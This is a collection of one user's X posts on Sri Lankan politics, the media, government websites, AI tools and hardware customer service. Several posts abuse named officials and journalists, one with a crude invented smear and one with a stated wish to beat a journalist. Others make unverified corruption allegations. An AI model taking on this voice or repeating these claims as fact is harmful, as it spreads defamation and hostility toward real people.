"The IT infrastructure in Sri Lanka is a shit show. I though the resilience lesson was learnt during the economic crisis - clearly fucking not. No data for about [--] hours since [----] of 28/11 on Dialog. Mobitel held on for a few hours longer and came back online. Both now down"
[X Link](https://x.com/dinidu/status/1995016076216996023) 2025-11-30T06:24Z 15.7K followers, [----] engagements
"Sunil Watagala is a moron and can kiss my ass. There. Crack down in that you monkey. Minister of Public Security Sunil Watagala advises police to use emergency law to crack down on social media criticism. This is deeply concerning and is the exact opposite of what President promised the nation in his address. https://t.co/NJAVcmXuG4 Minister of Public Security Sunil Watagala advises police to use emergency law to crack down on social media criticism. This is deeply concerning and is the exact opposite of what President promised the nation in his address. https://t.co/NJAVcmXuG4"
[X Link](https://x.com/dinidu/status/1996088843553177763) 2025-12-03T05:27Z 15.7K followers, [----] engagements
"Getting a bunch of corporate folks who have zero disaster-response knowledge or experience is a move of such unparalleled stupidity that it trumps Hitler's two-front war idea. Whom do you need Midwives Grama Niladharis PHIs archivists civil engineers irrigation engineers"
[X Link](https://x.com/dinidu/status/1996089269103067239) 2025-12-03T05:29Z 15.7K followers, [----] engagements
"Sunil Watagala says they'll crack down on people badmouthing the government. So here goes: Sunil Watagala is a fucking idiot whose government finds themselves up shit creek without a paddle. He's trying to protect from criticism by threatening arrest. He can go fuck a coconut"
[X Link](https://x.com/dinidu/status/1996135086069309927) 2025-12-03T08:31Z 15.7K followers, [----] engagements
"Also I have it on good authority that he doesn't wash NOR wipe after kakka so he's walking around with dingleberries. If I'm lying he should publicly post a picture of his bootyhole dingleberry-free. Talk about 'cracking down'"
[X Link](https://x.com/dinidu/status/1996139652022174075) 2025-12-03T08:49Z 15.7K followers, [----] engagements
"The opposition benches yesterday when the budget for [----] was being voted on. Sri Lanka has faced an unparalleled natural disaster which will have implications for decades to come. This is a point for the opposition to show buy-in and support. But no. Utter fucking fuckwits"
[X Link](https://x.com/dinidu/status/1997097362364481911) 2025-12-06T00:14Z 15.7K followers, [----] engagements
"How good is Google's Nano Banana [---] Very good. I put it to the test with a stock photo of a Suzuki Jimny for fun. This is what I started with an official photo from the Suzuki website. I kept most of my prompts short with no 'prompt engineering'. I varied the level of instructions. The rest of the thread will have the prompts I added and my own observations afterwards"
[X Link](https://x.com/dinidu/status/1997835865046085665) 2025-12-08T01:09Z 15.7K followers, [----] engagements
"Major Suspect Nabbed in Zoo Pigeon Theft Sri Lankan police arrested a hotel chef and recovered [--] exotic pigeons stolen from the national zoo officials said Monday in a case that highlighted security vulnerabilities at the country's primary animal conservation facility. The Mount Lavinia Divisional Crime Investigation Unit apprehended the 24-year-old suspect a resident of the Dehiwala suburbs following a two-month probe. Police confirmed the man works as a chef at a local hotel and stated that officers are currently interrogating him regarding potential accomplices. Authorities suspect he may"
[X Link](https://x.com/dinidu/status/1997930134234612204) 2025-12-08T07:23Z 15.7K followers, [----] engagements
"Times Gotabaya has been to the US since leaving the Presidency - [--] He gave up his US citizenship. Giving up citizenship doesn't require 'permission' from the US government. He was strongly advised against giving it up including by then US Ambo here. This is some Jigz level delulu. The man who controversially enabled @gotabayaR to run for the [----] presidency despite not being a Sri Lankan citizen Yasantha Kodagoda is sworn in as Acting Chief Justice. @anuradisanayake 's SM handles remain silent on the appointment. GRs citizenship case is still pending. https://t.co/DeyNBbzN1M The man who"
[X Link](https://x.com/dinidu/status/1998216453527593063) 2025-12-09T02:21Z 15.7K followers, [----] engagements
"@RanjiniD He's Sri Lankan"
[X Link](https://x.com/dinidu/status/1998241587961499741) 2025-12-09T04:01Z 15.7K followers, [---] engagements
"The average Sri Lankan liberal is in reality tools of patriarchal oppression: when the government chose a group of people based on their merit not only were their genders reduced to a binary but their genders were assumed merely because they masc-present. It's queerphobic"
[X Link](https://x.com/dinidu/status/1998615634977108146) 2025-12-10T04:47Z 15.7K followers, [----] engagements
"@PriHett @Rishi_BM @tuktuksputnik The Platonic method of dialogue as I like to define it. Because obviously we all know Socrates wasn't real"
[X Link](https://x.com/dinidu/status/1998638516755153259) 2025-12-10T06:18Z 15.7K followers, [--] engagements
"Please Stop: An open letter to Jamila Husain Editor in Chief of the Daily Mirror Dear Jamila It was somewhere late [----] or early [----] I crossed the corridor from Sunday Times and walked into the Daily Mirror newsroom. Then editor of the Daily Mirror Champ(ika) (Liyanarachchi) had wanted a full assurance from me that I'm coming with the approval and blessing of Anthony (David) and Sinha (Ratnatunge) because she didn't want to be told she's poaching - during my first sit down with Champika I explained how as much as I venerate the Sunday Times I wanted to get the daily-news experience. The"
[X Link](https://x.com/dinidu/status/1998709579773866420) 2025-12-10T11:01Z 15.7K followers, 12.7K engagements
"@PasinduSenanay7 @kalindukaru That's a reflection of how the NPP doesn't want to answer real questions from people who know the ground reality. It's no laughing matter Pasindu. Tell the NPP to grow a spine"
[X Link](https://x.com/dinidu/status/1998939033284788248) 2025-12-11T02:12Z 15.7K followers, [----] engagements
"This idea that a host/guest won/lost a political interview is a fault of us as audiences and our expectations. What the public needs are answers to question. There's an old Paxman interview where he keeps asking the same question like seven times. A winning interview is one where the host asks the right questions and the guest has correct accurate answers. History repeats in strange ways. In [----] expectations were shattered when Ashraff outplayed Soma Thero in a tightly moderated debate. Yesterday on [---] many expected Nalinda to be crushed yet he walked away unscathed. The world never moves"
[X Link](https://x.com/dinidu/status/2000892753329406288) 2025-12-16T11:36Z 15.7K followers, [----] engagements
"a) Gemini [--] Flash is here. Yet to properly road test it. b) Xiaomi has an AI model out called MiMo which is turning out to be very very good"
[X Link](https://x.com/dinidu/status/2001460457752686869) 2025-12-18T01:12Z 15.7K followers, [---] engagements
"@pradeeban Beth has moved from Dialog"
[X Link](https://x.com/dinidu/status/2001463903491158220) 2025-12-18T01:25Z 15.7K followers, [---] engagements
"Sri Lanka Police is giving the Catholic Church a run for their money for this cups-and-balls where's the OIC/priest transferring out. Kuliyapitiya Crime OIC Transferred over Viral Assault Video D: https://t.co/DlPmviRQMs https://t.co/xR4vJ9gLtf Kuliyapitiya Crime OIC Transferred over Viral Assault Video D: https://t.co/DlPmviRQMs https://t.co/xR4vJ9gLtf"
[X Link](https://x.com/dinidu/status/2001505187157176358) 2025-12-18T04:09Z 15.7K followers, [----] engagements
"'Stray' dogs in most countries outside the western world esp in developing countries are dogs cared for by the community. They may not be chipped and have owners but they are fed and in most cases also vaccinated. Sri Lanka doesn't have a 'stray dog' problem. @dinidu No modern developed country has stray dogs running around. Tourists from developed countries aren't used to seeing unattended dogs. The real issue is Sri Lanka's stray dog problem. They need to fix this ASAP @dinidu No modern developed country has stray dogs running around. Tourists from developed countries aren't used to seeing"
[X Link](https://x.com/dinidu/status/2002029905580826681) 2025-12-19T14:55Z 15.7K followers, [----] engagements
"I do hold the view that the Executive Presidency is needed with the legislature completely removed from the executive. A US kind of system but with a single house"
[X Link](https://x.com/dinidu/status/2002377967327195173) 2025-12-20T13:58Z 15.7K followers, [--] engagements
"I'm not going to comment on the bona fides of @Starlink entering the Sri Lankan market - but partnering with @dialoglk is one of the WORST business decisions they'd be taking considering what a bitchass company Dialog is. Hey @Gwynne_Shotwell @Starlink @elonmusk I am writing as a Sri Lankan customer and technology professional to formally express serious concern regarding reports of a potential collaboration between @Starlink and @dialoglk in Sri Lanka. Starlink has entered the Sri Lankan Hey @Gwynne_Shotwell @Starlink @elonmusk I am writing as a Sri Lankan customer and technology"
[X Link](https://x.com/dinidu/status/2002407295594922219) 2025-12-20T15:54Z 15.7K followers, [----] engagements
"IMF approves USD [---] million in emergency cyclone recovery aid; President Dissanayake orders all relief grants paid by [--] December; Indian External Affairs Minister S. Jaishankar schedules a Colombo visit for reconstruction talks; NMRA confirms ten drug types imported from India failed quality tests; NPP MP accused of assaulting police officer; interdicted constable arrested with Rs [--] million in narcotics; major reservoirs spill as heavy rains persist; Pakistan defeats India to win the Under-19 Asia Cup; Peradeniya University faculties to reopen this month; five fishermen remain missing at"
[X Link](https://x.com/dinidu/status/2002869330053386409) 2025-12-21T22:30Z 15.7K followers, [----] engagements
"@ShardhaSosa @murtazajaff once said that the Sri Lankan dream is to migrate to Australia. Truer words never before spoken"
[X Link](https://x.com/dinidu/status/2003710217343893822) 2025-12-24T06:11Z 15.8K followers, [---] engagements
"@CheTweetZ Korea Georgia Panama. You can count on me for specificity"
[X Link](https://x.com/dinidu/status/2003782257623097847) 2025-12-24T10:58Z 15.7K followers, [--] engagements
"Every day @VraieB fails to budget passed - which admittedly is a Herculean task considering we're partisan like hell - the 'central government' looks like it's losing control and breaking down. Makes AKD look like the only adult in the room so good for him. Not good for NPP"
[X Link](https://x.com/dinidu/status/2004518767121035515) 2025-12-26T11:44Z 15.7K followers, [----] engagements
"I know very little about politics once I pass Anuradhapura (and let's be real: that too I don't know much). BUT This is analogous to CID arresting RW MR Sirisena Basil Gota and whoever else you can think of AT THE SAME TIME. This is unthinkable levels of huge. Do this right and Jaffna ain't going nowhere from the NPP in the future. Former Minister Douglas Devananda arrested by CID Read more: https://t.co/awTvIh9yPJ #lka #srilanka #adaderana #news #lanka #srilankanews #Douglas #Devananda #DouglasDevananda #epdp #Jaffna #MakandureMadush #firearm #CID #arrested #underworld"
[X Link](https://x.com/dinidu/status/2005106740048920585) 2025-12-28T02:41Z 15.7K followers, [----] engagements
"I did a thing I'm quite proud of. I created a news curation aggregation and context-setting website - but truly truly trilingual. Language disparity between English Sinhala and Tamil is so wide that some stories never hit more than one language. http://news.dinidu.org http://news.dinidu.org"
[X Link](https://x.com/dinidu/status/2005272455389290958) 2025-12-28T13:39Z 15.8K followers, [----] engagements
"At current affairs (once the noise and fluff has been filtered out) will be written in all three languages. To be clear not translations - but articles written based on the same set of facts. Facts from Sinhala Tamil and English documents. http://news.dinidu.org http://news.dinidu.org"
[X Link](https://x.com/dinidu/status/2005272457859813732) 2025-12-28T13:39Z 15.7K followers, [---] engagements
"The test data that I'm using now to fix user-interface formatting and quality of life issues are article3s based on each month from December [----] - [--] articles altogether. These were fully AI written but will be deleted before soft/launching next week"
[X Link](https://x.com/dinidu/status/2005272462867779878) 2025-12-28T13:39Z 15.7K followers, [---] engagements
"I'm used to writing desk-research articles and analysis for work so I'm applying most of that experience into creating extremely robust fact-checking and validation/verification systems"
[X Link](https://x.com/dinidu/status/2005272465250058461) 2025-12-28T13:39Z 15.7K followers, [---] engagements
"@Natho34n Yup. Completely agree. I think the NPP is going the way of picking the low-langing fruit that's easily provable"
[X Link](https://x.com/dinidu/status/2005439029450617230) 2025-12-29T00:41Z 15.8K followers, [--] engagements
"Hey @GeminiApp - feature suggestion for the app (browser). Maybe isntead of starting the 'pro' mode as standard why not have the 'fast' mode as the default start option and a small fadeout text bubble reminding that 'thinking' and 'pro' are also avaialble You'll save a TONNE on compute. Sometime I just open a chat to think of a synonym and it's both (needlessly) spending time and (also needlessly) going through a full on (what I can only assume) compute-intensive thinking trip. https://twitter.com/i/web/status/2006209042373623863 https://twitter.com/i/web/status/2006209042373623863"
[X Link](https://x.com/dinidu/status/2006209042373623863) 2025-12-31T03:41Z 15.8K followers, [---] engagements
"The Nationalise-PickMe-because-it's-a-strategic-asset guy is an INVESTMENT BANKER (or Sri Lanka's version so from Daraz) - Managing Partner at Frontier Capital Partners. a) If I had money at Frontier Capital I'd pull it the fuck out like now. b) They developed a tuk-tuk-chat app using Watson (IBM's since pretty much nobody on the bleeding edge uses it) in [----]. Sri Lanka's first obviously. So they're that kind of company. He has and I quote "Over [--] years of expertise in the field of Investment Banking Corporate Finance with special emphasis on Corporate Restructuring Mergers & Acquisitions"
[X Link](https://x.com/dinidu/status/2006212278497206280) 2025-12-31T03:54Z 15.8K followers, [----] engagements
"TO BE CLEAR: this is not about some gay-reference (I sometimes fucking hate the phrases I have to use); but the book giving the URL of an adult videochat website. Which does beg the question how did the complainant know Cos if I saw buddy.net My first thought would be 'AI'. The Ministry of Education has launched an investigation into an inappropriate web reference found in a printed Grade [--] English language module following public concern raised over the issue. The matter came to light after social activist Tilini Shalvin highlighted that a typing https://t.co/Q3MdA1UU7z The Ministry of"
[X Link](https://x.com/dinidu/status/2006213835502543069) 2025-12-31T04:00Z 15.8K followers, [----] engagements
"The Minister's Bureau (basically private office) of the Foreign Ministry sent a formal note to all Sri Lankan Heads of Missions overseas which is understandable but gave it a priority rating of Most Urgent and expecting "strict and timely compliance". They also sent a form to fill out so the teacher knows if you did your homework. https://twitter.com/i/web/status/2006623457069642102 https://twitter.com/i/web/status/2006623457069642102"
[X Link](https://x.com/dinidu/status/2006623457069642102) 2026-01-01T07:08Z 15.8K followers, [----] engagements
"Me putting a 1ms delay between calls to 'be nice' when scraping a wholeass website I know is running on a toaster:"
[X Link](https://x.com/dinidu/status/2006954298157183245) 2026-01-02T05:02Z 15.8K followers, [---] engagements
"Seven years today since I quit smoking from a habit that varied from one per day to pack-a-day habitually to two-packs-a-day habitually and even more packs when out on a solid bender. I'm [--] and I easily have [--] pack-years in me. Quitting is FUCKING hard to do but try. https://twitter.com/i/web/status/2006955613822283915 https://twitter.com/i/web/status/2006955613822283915"
[X Link](https://x.com/dinidu/status/2006955613822283915) 2026-01-02T05:08Z 15.8K followers, [----] engagements
"I put the full blame of this spat on Marc-Andre. Even I'm smart enough not to engage with Jamila anymore. But also years and possibly billions of Rupees spent on Sri Lanka's 'media development' - and this is what the UN(DP) has to show for it: Clowns running newspapers. @Jamz5251 @UN As an editor & journalist its important to do some basic homework. The @UN Security Council is different from the @UN. The SG statement can be read here condemning strongly violation international law https://t.co/PcfaKc6EGh @Jamz5251 @UN As an editor & journalist its important to do some basic homework. The @UN"
[X Link](https://x.com/dinidu/status/2008097178867421214) 2026-01-05T08:44Z 15.8K followers, [---] engagements
"Let's be real here. Harini was made PM was because "look-we're-so-progressive-we-appointed-a-woman-as-the-PM" for the Parliamentary polls and the reason she was kept on was because replacing her with Bimal R would be so transparent. Delusional to claim merit-based-decision"
[X Link](https://x.com/dinidu/status/2008359400881156570) 2026-01-06T02:06Z 15.8K followers, [----] engagements
"@reptiliancmplx @googlephotos "We broke up" should be a tickbox we shoud be able to click with a dropdown on how healthy or toxic the breakdown was"
[X Link](https://x.com/dinidu/status/2008360290191032359) 2026-01-06T02:09Z 15.8K followers, [--] engagements
"I've started calculating things in Land Cruisers because it really puts into perspective wealth and refusal-to-spend from the government and the development sector. If you're outside Colombo your generally richest guy in the area has a few cars generally a Land Cruiser"
[X Link](https://x.com/dinidu/status/2008463212736577935) 2026-01-06T08:58Z 15.8K followers, [----] engagements
"If 20% of my monthly pay was forcefully taken from me under the threat of my employer facing prison time if they let me have the full amount I should be able to take it without having to wait for some pension scheme before which I will die. This is some bullshit. Government to introduce pension for EPF holders instead of paying EPF in one pay https://t.co/LvjCXae0yc Government to introduce pension for EPF holders instead of paying EPF in one pay https://t.co/LvjCXae0yc"
[X Link](https://x.com/dinidu/status/2008465024717816208) 2026-01-06T09:05Z 15.8K followers, [----] engagements
"Hang on (since head's been elsewhere): people think that some link made it to a text book because of a secret gay agenda and not some archaic 'curriculum' designer was dumb enough to check if the website exists OMG Echelon by @Economynext makes total sense now"
[X Link](https://x.com/dinidu/status/2008473154721914959) 2026-01-06T09:38Z 15.8K followers, [----] engagements
"@Hanuman_Banda @NPPSLOfficial There's no 'becoming PM'. The President goes eeny meeny miny moe and pick whoever they want"
[X Link](https://x.com/dinidu/status/2008893307712393700) 2026-01-07T13:27Z 15.8K followers, [---] engagements
"1) That the Prime Minister has to go to the head of a religious institution to explain what is basically a typo and dumb graphics shows weakness on the part of the Government. 2) NPP used to be JVP just with extra steps; they're turning out to be SJB just with extra steps. https://sinhala.adaderana.lk/news/219500 https://sinhala.adaderana.lk/news/219500"
[X Link](https://x.com/dinidu/status/2009427130711695725) 2026-01-09T00:48Z 15.8K followers, [----] engagements
"@meshaundesilva A vast majority of Sri Lankan businesses other than the kasippu trade runs as crony-capitalist goverment puppeteers - not free-market trade experts"
[X Link](https://x.com/dinidu/status/2009548455694495798) 2026-01-09T08:51Z 15.8K followers, [--] engagements
"Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system @NisansaDdS @cd_gamage @dinidu @ParliamentLK @UMadhavii Sigh they could have simply paid a reputed uni [--] million to do the website. 🫣 @NisansaDdS @cd_gamage @dinidu @ParliamentLK @UMadhavii Sigh they could have simply paid a reputed uni [--] million to do the website. 🫣"
[X Link](https://x.com/dinidu/status/2009675854843159037) 2026-01-09T17:17Z 15.8K followers, [----] engagements
"Actually. Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system"
[X Link](https://x.com/dinidu/status/2009676603555709339) 2026-01-09T17:20Z 15.8K followers, [---] engagements
"@sanjiva You know that the Apache is like the same age right The A380 is [--]. Manufacturing of the [---] stopped in [----]. Just for the fun of it next time you're about to board a plane just see it's age and repair history"
[X Link](https://x.com/dinidu/status/2009737822664831137) 2026-01-09T21:23Z 15.8K followers, [---] engagements
"The Cabinet Office website in Sri Lanka was set up in [----]. However It works. It's fast as fuck since set up in [----]. Truly trilingual. And since nothing was broken nobody tried to fix it. You know the result A FUNCTIONING FUCKING WEBSITE that you can always count on"
[X Link](https://x.com/dinidu/status/2009848956822630694) 2026-01-10T04:45Z 15.8K followers, [---] engagements
"Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should get fired for the videographer get arrested and charged for and once term served deported for"
[X Link](https://x.com/dinidu/status/2010224014569177320) 2026-01-11T05:35Z 15.8K followers, [----] engagements
"The 'true' Sri Lankan English accent is quite beautiful. There's a tweep here whose delivery is so crisp and clear. Correcting mispronounciation is one thing (I do it all the time to friends); the fuckup comes when someone tries to display their (in reality lack of) fluency. Watched a clip of [--] popular Sri Lankan actors delivering English dialogue in a local tele-drama. The grammar and pronunciation were painfully off. The loudest champions of the Sinhala-Only movement came largely from middle and lower-income Sinhala nationalists. Generations later Watched a clip of [--] popular Sri Lankan"
[X Link](https://x.com/dinidu/status/2010224725629563119) 2026-01-11T05:38Z 15.8K followers, [----] engagements
"Someone said 'we'll become Bali' about the rampant influencisation but what we will become is eventually 'Bali from Daraz' Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should get fired for the videographer get arrested and charged for and once term served deported for. https://t.co/2tTesH6MyQ Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should"
[X Link](https://x.com/dinidu/status/2010226306835984880) 2026-01-11T05:44Z 15.8K followers, [----] engagements
"The eventual fall (which at this rate may; but def no to getting a majority at next parliament polls) of the NPP #LKA government can be tagged to a date: [--] December [----]. When Asoka Ranwala was challenged to show his PhD certificate by former Elections Chair Mahinda Deshapriya"
[X Link](https://x.com/dinidu/status/2010583723545362627) 2026-01-12T05:24Z 15.8K followers, [----] engagements
"@YasiJay Oh there's no comparison needed. NPP by now has shown they're just SLPP without the racism UNP without the classism or SJB without the. without whatever makes SJB SJB"
[X Link](https://x.com/dinidu/status/2011033487395152001) 2026-01-13T11:12Z 15.8K followers, [--] engagements
"AKD doing some excellent marketing. People see the NPP and AKD as two different entities. Glad to attend the launch of the Rebuilding Sri Lanka initiative by @anuradisanayake. Important emphasis about most vulnerable and poorest who were hit hardest by #CycloneDitwah. @UNSriLanka will stand side by side authority is & communities to support recovery & rebuilding. https://t.co/9JmtTBKiI2 Glad to attend the launch of the Rebuilding Sri Lanka initiative by @anuradisanayake. Important emphasis about most vulnerable and poorest who were hit hardest by #CycloneDitwah. @UNSriLanka will stand side by"
[X Link](https://x.com/dinidu/status/2011034420841759082) 2026-01-13T11:15Z 15.8K followers, [----] engagements
""Oh God I wish the birds will shut up" is a very much rural Sri Lanka problem because there's like ten different types of birds within earshot trying to get laid and it's driving me nuts"
[X Link](https://x.com/dinidu/status/2011639236353724656) 2026-01-15T03:19Z 15.8K followers, [----] engagements
"LinkedIn: You appeared in [--] searches Me:"
[X Link](https://x.com/dinidu/status/2011794892788584577) 2026-01-15T13:37Z 15.8K followers, [----] engagements
"I wrote a 6000-word cathartic essay yesterday about ethics (or lack thereof by preachers) bribery corruption and collution for financial fraud in the Sri Lankan media industry mostly triggered by this which had been heavily nagging at me. https://x.com/dinidu/status/2008468350121443362 While helping a friend write an EoI figured RDA was going to layer at least Rs 150mn as various overpaid expenses so it won't need Cabinet Approval. If anyone is interested LK-RDA-506917-CS-INDV is the contract. I don't think he's friendly with me anymore. Funded by @WorldBank."
[X Link](https://x.com/dinidu/status/2012424417381368192) 2026-01-17T07:19Z 15.8K followers, [----] engagements
"To be nearly verbatim @rkalansooriya's claim was its an opinion piece by me and I dont have to change anything. I urged probably even begging. This was still just hours after the man had been cremated. The pain and grief was fucking fresh. The answer remained "no""
[X Link](https://x.com/dinidu/status/2012424440362234168) 2026-01-17T07:19Z 15.8K followers, [---] engagements
"For the need of a reminder: 'facts' are things that are objectively true - like how every single time I see @rkalansooriya I want to jump over whatever fucking table hes sitting talking about media ethics and punch him in the fucking face to a fucking pulp. That's a 'fact'"
[X Link](https://x.com/dinidu/status/2012424442555539824) 2026-01-17T07:19Z 15.8K followers, [---] engagements
"If you can't read Sinhala translate this thread and have a read. AKD didn't mince words when he took on the racist Sinhala Buddhist nationalists with sugarcoated truthbombs - and this is some messaging (he's weak on some angles) of not-going-to-be-fucked-about-by-the-clergy. . . Anura Kumara Dissanayake ❤ ⚠ . 🟢 " " . https://t.co/yvQfjHEXrL . . Anura Kumara Dissanayake ❤ ⚠ . 🟢 " " . https://t.co/yvQfjHEXrL"
[X Link](https://x.com/dinidu/status/2012432785630466349) 2026-01-17T07:52Z 15.8K followers, [----] engagements
"Who dafaq thought that this/a chatbot for the @sltda_srilanka website was a useful/good idea"
[X Link](https://x.com/dinidu/status/2013136772692357249) 2026-01-19T06:29Z 15.8K followers, [----] engagements
"No they weren't. They were remanded for violating coastal conservation laws in trying to open a fruit juice outlet. Four members of the Buddhist clergy including Ven. Balangoda Kassapa Thera and five others were further remanded until January [--] by the Trincomalee Magistrate's Court. They were remanded following an incident involving the placement of a Buddha statue at the Trincomalee https://t.co/7l4YUM0KzK Four members of the Buddhist clergy including Ven. Balangoda Kassapa Thera and five others were further remanded until January [--] by the Trincomalee Magistrate's Court. They were remanded"
[X Link](https://x.com/dinidu/status/2013506167444521299) 2026-01-20T06:57Z 15.8K followers, [----] engagements
"@NewsCurrySL Something something convergence like elephants or cobras. https://x.com/dinidu/status/1945370380002013317 BREAKING: NPP SAYS ASOKA RANWALA PHD CERTIFICATE PRINTED IN BACK OF EPSTIEN LIST AND WILL BE AVAILABLE SOON. https://x.com/dinidu/status/1945370380002013317 BREAKING: NPP SAYS ASOKA RANWALA PHD CERTIFICATE PRINTED IN BACK OF EPSTIEN LIST AND WILL BE AVAILABLE SOON"
[X Link](https://x.com/dinidu/status/2014969132945703179) 2026-01-24T07:50Z 15.8K followers, [---] engagements
"Gota's presidency responded and respected RTI. We've now got to hold Gota's governance as the bar that the NPP and SJB don't meet about transparency. Full response from the Gota presidency-era RTI about details of the Itukama below. Pity Sri Lanka doesn't have a law that gives people the right to information one where citizens could and ask for details about how money is spent. Oh wait Almost forgot @HarshadeSilvaMP can't say the magic words because he's his boss's little bitch and his his boss is Laxman Fonseka's little bitch and boy are they not suited for governance) even in SimCity 3000"
[X Link](https://x.com/dinidu/status/2014973352059011262) 2026-01-24T08:07Z 15.8K followers, [----] engagements
"Does anyone know anyone at Caterpillar Sri Lanka (United Tractors) Please slide into my DMs"
[X Link](https://x.com/dinidu/status/1952979446237151580) 2025-08-06T06:25Z 15.8K followers, [---] engagements
"While helping a friend write an EoI figured RDA was going to layer at least Rs 150mn as various overpaid expenses so it won't need Cabinet Approval. If anyone is interested LK-RDA-506917-CS-INDV is the contract. I don't think he's friendly with me anymore. Funded by @WorldBank"
[X Link](https://x.com/dinidu/status/2008468350121443362) 2026-01-06T09:19Z 15.8K followers, [----] engagements
"Fucking finally. Value for money for the citizenry includes going places fast comfortably so you can keep working. I have literally encouraged flying first class and buying himself a decent merc. On that the [---] Prado was such a bad choice. Should have gone LC300 or Lexus LX. Where's @Dr_HariniA's Hilux now LOL And before anyone comes at me saying I praised their Hiluxes - I didn't. I want my President to be in a comfortable car because I want them to be working while on the road instead of being jostled around om Kandy road. Fly First; ride a Merc. https://t.co/iuCFGyzqN4 Where's"
[X Link](https://x.com/dinidu/status/2014268549410484309) 2026-01-22T09:27Z 15.8K followers, 11.2K engagements
"My take on the Nalanda College drama: loving how the far left doesn't know what to say. On one hand multiple adult women in positions of power but also consenting adults but also somehow toxic masculinity because boy's school but also position of power because Head Cop"
[X Link](https://x.com/dinidu/status/2016372183749231019) 2026-01-28T04:46Z 15.8K followers, [----] engagements
"@aruwij I don't think we do left/right globally anymore in the classical sense of left/right. I consider myself a welfare libertarian which is as nuts as a Volvo with a gun rack (to steal that Robin Williams joke)"
[X Link](https://x.com/dinidu/status/2016451054213468475) 2026-01-28T09:59Z 15.8K followers, [---] engagements
"I've started describing myself as a welfare-libertarian. My position is one of a minimal state minimal regulation flat universal income taxes no consumption/windfall/wealth taxes. Codified/earmarked really high spend for education and healthcare a direct monthly handout to the poorest 5% of the population (based on their previous year's income taxes) tariffs tiered in such a way that encourages raw material imports and discourages raw material exports zero import tariffs on anything to do with education/healthcare/food/manufacturing. https://twitter.com/i/web/status/2016453122395443619"
[X Link](https://x.com/dinidu/status/2016453122395443619) 2026-01-28T10:07Z 15.8K followers, [----] engagements
"I'm so pissed at RW for getting others in trouble. The NPP's dumb political choice ended up showing how weak the opposition is. So they're going to go ahead with hunts. They should remember though that the *next* government will do the same to them. ALSO ASOKA RANWALA PHD WHERE The state informs court that charges against @RW_SRILANKA will be filed by March. In the meantime RWs secretary Saman Ekanayake was produced before the Colombo magistrate today as a suspect accused of aiding and abetting RW in using state funds for a private visit to UK. The state informs court that charges against"
[X Link](https://x.com/dinidu/status/2016463081199813002) 2026-01-28T10:47Z 15.8K followers, [----] engagements
"A motherboard died a while back and @GIGABYTEUSA flat out refused to even talk about warranty. Flipside an Intel 12700K died two years or so back and @intel blew me away with the level of customer care. Adding @CORSAIR to the list of awesome customer care. I have multiple power supplies (don't ask why). Was cleaning out and found a @CORSAIR RM750x that had died on me. My support request to Corsair literally was "I bought an RM750x around [----]. It's now dead. I have no paperwork for it no box nothing. Just the PSU. I can't even find the original cables because I ran Cablemod sleeved cables on"
[X Link](https://x.com/dinidu/status/2016463266000908586) 2026-01-28T10:48Z 15.8K followers, [----] engagements
"@KozmosSanju @GIGABYTEUSA @intel @CORSAIR Browns/Makita is exceptionally good service"
[X Link](https://x.com/dinidu/status/2016738759770071297) 2026-01-29T05:02Z 15.8K followers, [--] engagements
"I fucking love DaVinci Resolve by @Blackmagic_News it's so easy to edit the UI is intuitive and all that. But look at that CPU overhead available that's not being used Left is H.265 and right is H.264. Concurrent encoding while rendering is happening and the GPU is the bottleneck (which is likely the scenario); but in that case why not 'complete' the render in one go and so both can start at the same time - unless encoding on two 'units' is a challenge. https://twitter.com/i/web/status/2016785117851922502 https://twitter.com/i/web/status/2016785117851922502"
[X Link](https://x.com/dinidu/status/2016785117851922502) 2026-01-29T08:06Z 15.8K followers, [---] engagements
"00:37 - "Of course" - when asked "Can I hold you on record saying that the PTA will be repealed" 00:07 - "PTA Will be repealed" 00:16 - "The mandate that we seek is to repeal the PTA" There are liars there are liars and then there is Lakmali Hemachandra. Video unedited from November [----] just before Parliament polls (unlike how AKD's speech was cut in a way to make him sound like a lunatic). I believe AKD is a good man. I believe Lal Kantha and Vijitha Herath are good men. I don't believe Bimal Ratnayake is. I think though that Lakmali Hemachandra is an immoral shrewd and objectively bad"
[X Link](https://x.com/dinidu/status/2016890169526538296) 2026-01-29T15:04Z 15.8K followers, [----] engagements
"Why is it that every time I see a Sri Lankan lawyer making an argument in a criminal case it's never about the law https://t.co/LNC62hVuUR https://t.co/LNC62hVuUR"
[X Link](https://x.com/dinidu/status/2016890401077284992) 2026-01-29T15:05Z 15.8K followers, [----] engagements
"@ShavinWijetunge If it looks like a bubble quacks like a bubble and talk like a bubble - it's a bubble"
[X Link](https://x.com/dinidu/status/2017163099158331539) 2026-01-30T09:08Z 15.8K followers, [--] engagements
"@DulithHerath @moltbook I'll give a week before the horror stories start. So many threat vectors"
[X Link](https://x.com/dinidu/status/2017470403044905224) 2026-01-31T05:30Z 15.8K followers, [--] engagements
"#Logitech doesn't tell you this but the use of the G keys is actually for replacing key caps which have flown across room when tangled with headphone wire. Like and subscribe for more life hacks"
[X Link](https://x.com/dinidu/status/2017527326733701299) 2026-01-31T09:16Z 15.8K followers, [---] engagements
"@sanjiva Sanjiva do you want to take over (as in I'll give it to you) a right to Information request generator platform I made I have a roadmap for further development but I can't afford to. It'll fit in well with the core mission of the foundation. http://rti.dinidu.org http://rti.dinidu.org"
[X Link](https://x.com/dinidu/status/2019290307884642386) 2026-02-05T06:01Z 15.8K followers, [---] engagements
"Gemini ain't got nothin on real life"
[X Link](https://x.com/anyuser/status/2019698879521030403) 2026-02-06T09:05Z 15.8K followers, [----] engagements
"RW London trip is about loyalty. The two staff are being punished for actions under his instruction. RW doesn't reciprocate the loyalty by taking responsibility for his own actions getting them into trouble. Asoka Ranwala has no PhD and JVP isn't doing a thing. That's loyalty"
[X Link](https://x.com/anyuser/status/2021478321457164547) 2026-02-11T06:56Z 15.8K followers, [----] engagements
"Hey @Azure - can you change your pricing table to $/1M tokens LIKE EVERY OTHER PROVIDER OUT THERE. Your $/1000 tokens pricing for inference is just clearly designed to make people doing mental math mental. Thank you for coming to my TEDTalk"
[X Link](https://x.com/anyuser/status/2021788672946061365) 2026-02-12T03:29Z 15.8K followers, [---] engagements
